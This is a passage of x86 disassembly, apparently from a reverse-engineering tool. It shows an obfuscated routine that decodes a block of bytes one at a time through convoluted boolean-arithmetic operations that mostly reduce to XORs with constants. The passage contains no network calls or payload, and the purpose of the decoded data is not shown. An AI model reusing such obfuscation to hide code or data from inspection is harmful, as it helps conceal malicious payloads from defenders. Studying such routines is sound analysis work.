xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xaf
sub al, 0x27
sub al, 0xaf
sub bl, al
mov byte [0x47475e], bl
mov al, byte [0x47455f]
mov cl, al
xor cl, 0xff
and cl, 6
and al, 0xf9
or cl, al
xor cl, 0xa
mov byte [0x47475f], cl
mov al, byte [0x474560]
xor al, 0xcb
mov byte [0x474760], al
mov al, byte [str._iL]
xor al, 0x38
mov byte [0x474761], al
mov al, byte [0x474562]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x6f
xor cl, 0xff
xor al, 0xff
or al, 0x6f
and cl, al
xor cl, 0xff
mov byte [0x474762], cl
mov al, byte [0x474563]
mov cl, al
xor cl, 0xff
and cl, 0x4a
and al, 0xb5
or cl, al
mov byte [0x474763], cl
mov bl, byte [0x474564]
mov dl, bl
and dl, 0xdf
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xdf
sub bl, al
mov byte [0x474764], bl
mov al, byte [0x474565]
xor al, 0x89
mov byte [0x474765], al
mov al, byte [0x474566]
mov cl, al
xor cl, 0xee
xor cl, 0xff
and cl, 0xee
shl cl, 1
sub cl, 0xee
sub al, cl
mov byte [0x474766], al
mov al, byte [0x474567]
xor al, 0xb7
mov byte [0x474767], al
mov al, byte [0x474568]
xor al, 0xc4
mov byte [0x474768], al
mov cl, byte [0x474569]
mov dl, cl
xor dl, 0xff
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0x77
xor al, 0xff
mov dl, cl
xor dl, 0x88
and dl, cl
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xab
xor dl, 0xff
and al, 0x54
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474769], dl
mov dl, byte [0x47456a]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xd9
xor al, 0xff
and al, 0xff
or al, 0
and dl, 0x26
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov al, cl
xor al, 0xff
and al, 0x4e
and cl, 0xb1
or al, cl
xor al, 0xb1
mov byte [0x47476a], al
mov al, byte [0x47456b]
xor al, 0xec
mov byte [0x47476b], al
mov cl, byte [0x47456c]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x57
xor cl, 0xff
and cl, 0xa8
or al, cl
xor al, 0xff
mov byte [0x47476c], al
mov al, byte [0x47456d]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x4b
and al, 0x4b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47476d], dl
mov cl, byte [0x47456e]
mov al, cl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xa0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0xa0
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x47476e], al
mov bl, byte [0x47456f]
mov dl, bl
xor dl, 0x16
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0x16
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x16
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47476f], bl
mov al, byte [0x474570]
mov cl, al
xor cl, 0xf4
xor cl, 0xff
and cl, 0xf4
shl cl, 1
sub cl, 0xf4
sub al, cl
mov byte [0x474770], al
mov al, byte [str.D_IJ]
mov cl, al
xor cl, 0xff
and cl, 0x42
and al, 0xbd
or cl, al
mov byte [0x474771], cl
mov dl, byte [0x474572]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor al, 0xff
and al, 0x39
or dl, 0x39
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [0x474772], cl
mov cl, byte [0x474573]
mov al, cl
xor al, 0xff
and al, 0xdc
mov ah, cl
xor ah, 0xff
xor cl, 0xff
and ah, cl
or ah, 0xdc
xor ah, 0xff
mov dl, al
or dl, ah
xor dl, 0xff
xor al, 0xff
xor ah, 0xff
and al, ah
or dl, al
xor dl, 0xff
mov al, dl
and al, 0x93
shl al, 1
add dl, 0x93
sub dl, al
mov byte [0x474773], dl
mov al, byte [0x474574]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, ah
xor ah, 0xff
or cl, cl
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov cl, ah
and cl, 0x4c
mov dl, ah
xor dl, 0xb3
add ah, dl
sub ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xb3
mov cl, dl
xor cl, 0xff
and cl, 0xc
and dl, 0xf3
or cl, dl
xor cl, 0xf3
xor al, 0xff
and cl, al
mov byte [0x474774], cl
mov al, byte [0x474575]
xor al, 0xbd
mov byte [0x474775], al
mov al, byte [0x474576]
mov cl, al
xor cl, 0xbb
mov dl, cl
xor dl, 0xff
and dl, 0x36
and cl, 0xc9
or dl, cl
xor dl, 0xc9
mov cl, dl
xor cl, 0xbb
xor cl, 0xff
or dl, 0xbb
and dl, cl
shl dl, 1
sub dl, 0xbb
add al, 0x90
sub al, dl
sub al, 0x90
mov byte [0x474776], al
mov al, byte [0x474577]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x84
xor dl, 0xff
and al, 0x7b
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474777], dl
mov al, byte [0x474578]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and dl, cl
mov cl, dl
and cl, 0x12
mov ah, dl
xor ah, 0xed
add dl, ah
sub dl, cl
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
or al, 0x12
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474778], dl
mov al, byte [0x474579]
mov cl, al
and cl, 0xcf
shl cl, 1
add al, 0xcf
sub al, cl
mov byte [0x474779], al
mov al, byte [0x47457a]
xor al, 0x88
mov byte [0x47477a], al
mov al, byte [0x47457b]
mov cl, al
and cl, 0x14
shl cl, 1
add al, 0x14
sub al, cl
mov byte [0x47477b], al
mov al, byte [0x47457c]
xor al, 0xc9
mov byte [0x47477c], al
mov al, byte [0x47457d]
xor al, 0x45
mov byte [0x47477d], al
mov al, byte [0x47457e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xc0
xor dl, 0xff
xor al, 0xff
or al, 0xc0
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47477e], dl
mov al, byte [0x47457f]
mov cl, al
xor cl, 0xff
and cl, 0x2d
and al, 0xd2
or cl, al
mov byte [0x47477f], cl
mov al, byte [0x474580]
mov cl, al
xor cl, 0xff
and cl, 0xe5
and al, 0x1a
or cl, al
mov byte [0x474780], cl
mov cl, byte [0x474581]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xca
xor al, 0xff
or cl, 0x35
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x474781], al
mov al, byte [0x474582]
xor al, 0x73
mov byte [0x474782], al
mov al, byte [0x474583]
xor al, 0xa1
mov byte [0x474783], al
mov al, byte [0x474584]
xor al, 0x82
mov byte [0x474784], al
mov al, byte [0x474585]
xor al, 0xb1
mov byte [0x474785], al
mov al, byte [0x474586]
xor al, 0xef
mov byte [0x474786], al
mov al, byte [0x474587]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xce
and cl, 0xce
and al, 0x31
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov al, dl
xor al, 0xff
and al, 0xc6
and dl, 0x39
or al, dl
xor al, 0xc5
mov byte [0x474787], al
mov al, byte [0x474588]
xor al, 0x54
mov byte [0x474788], al
mov bl, byte [0x474589]
mov dl, bl
xor dl, 0x39
and dl, bl
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
xor edx, edx
sub dl, bl
add dl, 0x3a
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x474789], cl
mov al, byte [0x47458a]
xor al, 0x4f
mov byte [0x47478a], al
mov al, byte [0x47458b]
xor al, 0x1b
mov byte [0x47478b], al
mov al, byte [0x47458c]
mov dl, al
xor dl, 9
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 9
shl dl, 1
sub dl, 9
sub al, dl
mov byte [0x47478c], al
mov ah, byte [0x47458d]
mov dl, ah
xor dl, 0xff
and dl, 0xff
or dl, 0
mov al, ah
xor al, 0xff
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xbb
add al, cl
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0xbc
and ah, 0x43
or dl, ah
xor dl, 7
or dh, 0x44
xor dh, 0xff
and dh, 0xff
or dl, dh
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov byte [0x47478d], al
mov al, byte [0x47458e]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x61
and al, 0x61
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47478e], dl
mov al, byte [0x47458f]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xe8
xor dl, 0xff
or cl, 0xe8
and cl, dl
and al, 0x17
or cl, al
mov byte [0x47478f], cl
mov al, byte [0x474590]
xor al, 0x82
mov byte [0x474790], al
mov al, byte [0x474591]
xor al, 0x7c
mov byte [0x474791], al
mov al, byte [0x474592]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x11
xor dl, 0xff
xor al, 0xff
or al, 0x11
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474792], dl
mov al, byte [0x474593]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x21
and al, 0xde
or dl, al
xor dl, 0xdd
mov byte [0x474793], dl
mov al, byte [0x474594]
xor al, 0x6c
mov byte [0x474794], al
mov al, byte [0x474595]
xor al, 0xcd
mov byte [0x474795], al
mov al, byte [0x474596]
mov cl, al
xor cl, 0xff
and cl, 0x32
and al, 0xcd
or cl, al
xor cl, 0x9c
mov byte [0x474796], cl
mov al, byte [0x474597]
xor al, 7
mov byte [0x474797], al
mov cl, byte [0x474598]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x81
and cl, 0x81
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x474798], al
mov ah, byte [0x474599]
mov al, ah
xor al, 0xff
mov cl, ah
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0xd7
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0xd7
or ah, 0x28
xor ah, 0xff
or dl, ah
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
xor dl, 0xff
or al, dl
mov byte [0x474799], al
mov al, byte [0x47459a]
xor al, 0xb3
mov byte [0x47479a], al
mov al, byte [0x47459b]
mov cl, al
xor cl, 0xff
and cl, 0xe3
and al, 0x1c
or cl, al
xor cl, 0xd0
mov byte [0x47479b], cl
mov al, byte [0x47459c]
xor al, 0xf8
mov byte [0x47479c], al
mov al, byte [str.aRD]
xor al, 0x67
mov byte [0x47479d], al
mov al, byte [0x47459e]
xor al, 0xe9
mov byte [0x47479e], al
mov al, byte [0x47459f]
xor al, 0x89
mov byte [0x47479f], al
mov al, byte [0x4745a0]
mov cl, al
xor cl, 0xff
and cl, 0xb3
and al, 0x4c
or cl, al
mov byte [0x4747a0], cl
mov al, byte [0x4745a1]
mov cl, al
and cl, 0x54
shl cl, 1
add al, 0x54
sub al, cl
mov byte [0x4747a1], al
mov al, byte [0x4745a2]
mov cl, al
xor cl, 0xff
and cl, 0xd6
and al, 0x29
or cl, al
xor cl, 0x94
mov byte [0x4747a2], cl
mov al, byte [0x4745a3]
xor al, 0xf9
mov byte [0x4747a3], al
mov al, byte [str.Pn__n51:]
mov cl, al
xor cl, 0xff
and cl, 0xa8
and al, 0x57
or cl, al
xor cl, 0xfe
mov byte [0x4747a4], cl
mov al, byte [0x4745a5]
xor al, 0x68
mov byte [0x4747a5], al
mov al, byte [0x4745a6]
mov cl, al
and cl, 0x29
shl cl, 1
add al, 0x29
sub al, cl
mov byte [0x4747a6], al
mov al, byte [0x4745a7]
xor al, 0xc
mov byte [0x4747a7], al
mov al, byte [0x4745a8]
mov dl, al
xor dl, 0xff
and dl, 0x84
mov cl, al
and cl, 0x7b
or dl, cl
xor dl, 0x7b
mov cl, dl
xor cl, 0x33
xor cl, 0xff
or dl, 0x33
and dl, cl
and al, 0xcc
or dl, al
mov byte [0x4747a8], dl
mov al, byte [0x4745a9]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0x8d
mov dl, al
and dl, 0x72
or cl, dl
xor cl, 0x72
mov dl, ah
and dl, cl
xor ah, cl
or dl, ah
xor dl, 0xff
or dl, 0xc8
mov ah, al
and ah, 0xc8
xor ah, 0xff
xor al, 0xff
or al, 0x37
xor ah, 0xff
xor al, 0xff
or ah, al
xor ah, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor ah, 0xff
or dl, ah
mov byte [0x4747a9], dl
mov al, byte [0x4745aa]
mov cl, al
xor cl, 0x3c
xor cl, 0xff
and cl, 0x3c
shl cl, 1
sub cl, 0x3c
sub al, cl
mov byte [0x4747aa], al
mov al, byte [0x4745ab]
xor al, 0x88
mov byte [0x4747ab], al
mov al, byte [0x4745ac]
xor al, 0x84
mov byte [0x4747ac], al
mov al, byte [0x4745ad]
mov cl, al
xor cl, 0x29
xor cl, 0xff
and cl, 0x29
shl cl, 1
sub cl, 0x29
sub al, cl
mov byte [0x4747ad], al
mov al, byte [0x4745ae]
xor al, 0xa0
mov byte [0x4747ae], al
mov al, byte [0x4745af]
xor al, 0x7f
mov byte [0x4747af], al
mov bl, byte [0x4745b0]
mov dl, bl
and dl, 0x3d
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x3d
sub bl, al
mov byte [0x4747b0], bl
mov cl, byte [0x4745b1]
mov al, cl
xor al, 0xff
and al, 0x43
mov dl, cl
and dl, 0xbc
or al, dl
xor al, 0xbc
and al, 0xae
and cl, 0x51
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x13
and al, 0xec
or cl, al
xor cl, 0xaf
mov byte [0x4747b1], cl
mov al, byte [0x4745b2]
mov cl, al
and cl, 0xbb
shl cl, 1
add al, 0xbb
sub al, cl
mov byte [0x4747b2], al
mov al, byte [0x4745b3]
mov cl, al
and cl, 0x91
shl cl, 1
add al, 0x91
sub al, cl
mov byte [0x4747b3], al
mov dl, byte [0x4745b4]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xb8
xor dl, 0xff
and dl, 0x47
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0xc5
and cl, 0x3a
or al, cl
xor al, 0x3a
mov byte [0x4747b4], al
mov al, byte [0x4745b5]
xor al, 0xe2
mov byte [0x4747b5], al
mov al, byte [0x4745b6]
xor al, 0xcb
mov byte [0x4747b6], al
mov al, byte [0x4745b7]
xor al, 0x5a
mov byte [0x4747b7], al
mov al, byte [0x4745b8]
mov cl, al
xor cl, 0x8f
xor cl, 0xff
mov dl, al
or dl, 0x8f
and dl, cl
shl dl, 1
add al, 0x8f
sub al, dl
mov byte [0x4747b8], al
mov al, byte [0x4745b9]
xor al, 0xc8
mov byte [0x4747b9], al
mov al, byte [0x4745ba]
xor al, 0xf9
mov byte [0x4747ba], al
mov al, byte [0x4745bb]
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x4747bb], al
mov al, byte [0x4745bc]
xor al, 0x3b
mov byte [0x4747bc], al
mov cl, byte [0x4745bd]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
or al, 0x7a
add al, 0x86
mov dl, cl
xor dl, 0x85
and dl, cl
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0x47
and al, 0xb8
or cl, al
xor cl, 0x60
mov byte [0x4747bd], cl
mov al, byte [0x4745be]
mov cl, al
xor cl, 0xff
and cl, 0x44
and al, 0xbb
or cl, al
mov byte [0x4747be], cl
mov al, byte [0x4745bf]
mov cl, al
xor cl, 0xb8
xor cl, 0xff
and cl, 0xb8
shl cl, 1
sub cl, 0xb8
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4747bf], al
mov al, byte [0x4745c0]
xor al, 0x32
mov byte [0x4747c0], al
mov al, byte [0x4745c1]
mov cl, al
and cl, 0x98
shl cl, 1
mov dl, al
and dl, 0x98
shl dl, 1
xor al, 0x98
add al, dl
sub al, cl
mov byte [0x4747c1], al
mov al, byte [0x4745c2]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x30
or al, 0x30
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4747c2], dl
mov al, byte [0x4745c3]
xor al, 0xfd
mov byte [0x4747c3], al
mov al, byte [0x4745c4]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
or dl, 0x24
add dl, 0xdc
and al, 0x24
or dl, al
mov byte [0x4747c4], dl
mov al, byte [0x4745c5]
mov cl, al
xor cl, 0x82
xor cl, 0xff
and cl, 0x82
shl cl, 1
sub cl, 0x82
sub al, cl
mov byte [0x4747c5], al
mov al, byte [0x4745c6]
xor al, 0x7d
mov byte [0x4747c6], al
mov al, byte [0x4745c7]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, ah
and dl, 0x63
and cl, 0x9c
or dl, cl
xor dl, 0x8e
or ah, 0x12
xor ah, 0xff
and ah, 0xff
or dl, ah
xor al, 0xff
or al, 0x12
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4747c7], dl
mov al, byte [0x4745c8]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xf3
xor cl, 0xff
xor al, 0xff
or al, 0xf3
and cl, al
xor cl, 0xff
mov byte [0x4747c8], cl
mov al, byte [0x4745c9]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xa3
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xa3
xor dl, 0xff
xor cl, 0xff
and dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0xdb
and dl, 0x24
or ah, dl
xor ah, 0x24
mov dl, ah
xor dl, 0xff
or dl, 0xa3
and ah, 0x5c
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
shl dl, 1
sub dl, 0x5c
sub al, dl
mov byte [0x4747c9], al
mov al, byte [0x4745ca]
xor al, 0x56
mov byte [0x4747ca], al
mov al, byte [0x4745cb]
mov cl, al
xor cl, 0xff
and cl, 0xf9
and al, 6
or cl, al
mov byte [0x4747cb], cl
mov cl, byte [0x4745cc]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x69
and al, 0x69
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x69
xor dl, 0xff
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0xb5
mov byte [0x4747cc], al
mov al, byte [0x4745cd]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, al
add dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0x79
and al, 0x79
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
or dl, al
mov byte [0x4747cd], dl
mov al, byte [0x4745ce]
xor al, 0x89
mov byte [0x4747ce], al
mov al, byte [0x4745cf]
mov dl, al
xor dl, 0xff
or dl, 0xd
mov cl, al
xor cl, 0xff
or cl, 0xd
xor dl, 0xff
xor cl, 0xff
or dl, cl
shl dl, 1
sub al, 0xe9
add al, 0xf2
add al, 0xe9
sub al, dl
mov byte [0x4747cf], al
mov al, byte [0x4745d0]
xor al, 0x45
mov byte [0x4747d0], al
mov al, byte [0x4745d1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov cl, al
xor cl, 0xff
or ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xb7
mov ah, dl
xor ah, 0x48
add dl, ah
sub dl, cl
mov cl, al
xor cl, 0x48
xor cl, 0xff
or al, 0x48
and al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and dl, al
mov al, dl
xor al, 0xff
and al, 0x43
and dl, 0xbc
or al, dl
xor al, 0xbc
mov byte [0x4747d1], al
mov al, byte [0x4745d2]
xor al, 0xb0
mov byte [0x4747d2], al
mov al, byte [0x4745d3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x4b
xor dl, 0xff
xor al, 0xff
or al, 0x4b
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4747d3], dl
mov cl, byte [0x4745d4]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xd8
xor cl, 0xff
and cl, 0x27
or al, cl
xor al, 0xff
mov byte [0x4747d4], al
mov al, byte [0x4745d5]
mov cl, al
xor cl, 0xff
and cl, 0x9c
and al, 0x63
or cl, al
mov byte [0x4747d5], cl
mov al, byte [0x4745d6]
xor al, 0xdd
mov byte [0x4747d6], al
mov al, byte [str.A_]
mov cl, al
xor cl, 0xff
and cl, 0x64
and al, 0x9b
or cl, al
xor cl, 0x22
mov byte [0x4747d7], cl
mov cl, byte [0x4745d8]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xd0
xor al, 0xff
and al, 0xff
and cl, 0xd0
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x4747d8], dl
mov al, byte [0x4745d9]
mov cl, al
and cl, 0xcc
shl cl, 1
add al, 0xcc
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x4747d9], al
mov al, byte [0x4745da]
mov cl, al
xor cl, 0xff
and cl, 0x89
and al, 0x76
or cl, al
mov byte [0x4747da], cl
mov al, byte [0x4745db]
mov dl, al
or dl, dl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0x2d
xor al, 0xff
and al, 0xd2
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4747db], dl
mov al, byte [0x4745dc]
mov cl, al
xor cl, 0xff
and cl, 0xd1
and al, 0x2e
or cl, al
mov byte [0x4747dc], cl
mov al, byte [0x4745dd]
mov cl, al
and cl, 0xa6
shl cl, 1
mov dl, al
and dl, 0xa6
or al, 0xa6
add dl, al
sub dl, cl
mov byte [0x4747dd], dl
mov bl, byte [0x4745de]
mov dl, bl
xor dl, 0x14
xor dl, 0xff
and dl, 0x14
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x14
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x4747de], bl
mov al, byte [0x4745df]
mov cl, al
and cl, 0x9e
shl cl, 1
add al, 0x9e
sub al, cl
mov byte [0x4747df], al
mov al, byte [0x4745e0]
xor al, 0x2c
mov byte [0x4747e0], al
mov al, byte [0x4745e1]
mov cl, al
xor cl, 8
xor cl, 0xff
and cl, 8
shl cl, 1
sub cl, 8
sub al, cl
mov byte [0x4747e1], al
mov al, byte [0x4745e2]
mov cl, al
xor cl, 0xff
and cl, 0x86
and al, 0x79
or cl, al
mov byte [0x4747e2], cl
mov al, byte [0x4745e3]
xor al, 6
mov byte [0x4747e3], al
mov al, byte [0x4745e4]
xor al, 0xa8
mov byte [0x4747e4], al
mov al, byte [0x4745e5]
xor al, 0x76
mov byte [0x4747e5], al
mov al, byte [0x4745e6]
mov cl, al
xor cl, 0xe6
xor cl, 0xff
and cl, 0xe6
shl cl, 1
sub cl, 0xe6
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0xe6
xor cl, 0xff
or dl, 0xe6
and dl, cl
shl dl, 1
add dl, 0x19
add dl, 1
sub al, dl
mov byte [0x4747e6], al
mov al, byte [0x4745e7]
xor al, 0xd9
mov byte [0x4747e7], al
mov cl, byte [0x4745e8]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x99
xor cl, 0xff
mov dl, cl
xor dl, 0x99
and dl, cl
or al, dl
xor al, 0xff
mov byte [0x4747e8], al
mov al, byte [0x4745e9]
xor al, 0xff
mov byte [0x4747e9], al
mov bl, byte [0x4745ea]
mov al, bl
xor al, 0xd0
mov dl, al
xor dl, 0xff
and dl, 0x7b
and al, 0x84
or dl, al
xor dl, 0x84
xor dl, 0xff
xor dl, 0xd0
and dl, 0xd0
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xff
and cl, 0xd0
and al, 0x2f
sub al, cl
sub bl, al
mov byte [0x4747ea], bl
mov al, byte [0x4745eb]
mov cl, al
xor cl, 0x24
xor cl, 0xff
and cl, 0x24
shl cl, 1
sub cl, 0x24
sub al, cl
mov byte [0x4747eb], al
mov al, byte [0x4745ec]
xor al, 0xf2
mov byte [0x4747ec], al
mov dl, byte [0x4745ed]
mov al, dl
or al, al
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0x55
or dl, 0x55
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4747ed], al
mov al, byte [0x4745ee]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x29
and al, 0x29
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4747ee], dl
mov al, byte [0x4745ef]
mov dl, al
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
and dl, ah
or dl, 0x44
xor dl, 0xff
mov cl, al
and cl, 0x44
mov ah, al
xor ah, 0xbb
add al, ah
sub al, cl
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
and dl, al
mov byte [0x4747ef], dl
mov cl, byte [0x4745f0]
mov al, cl
xor al, 0xff
or al, 0x54
add al, 0xac
and cl, 0x54
mov dl, al
or dl, cl
xor dl, 0xff
or al, cl
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 0x87
mov byte [0x4747f0], dl
mov bl, byte [0x4745f1]
mov dl, bl
xor dl, 0xff
and dl, 0x4e
mov al, bl
and al, 0xb1
or dl, al
xor dl, 0x5c
xor dl, 0xff
mov al, dl
xor al, 0x12
xor al, 0xff
or dl, 0x12
and dl, al
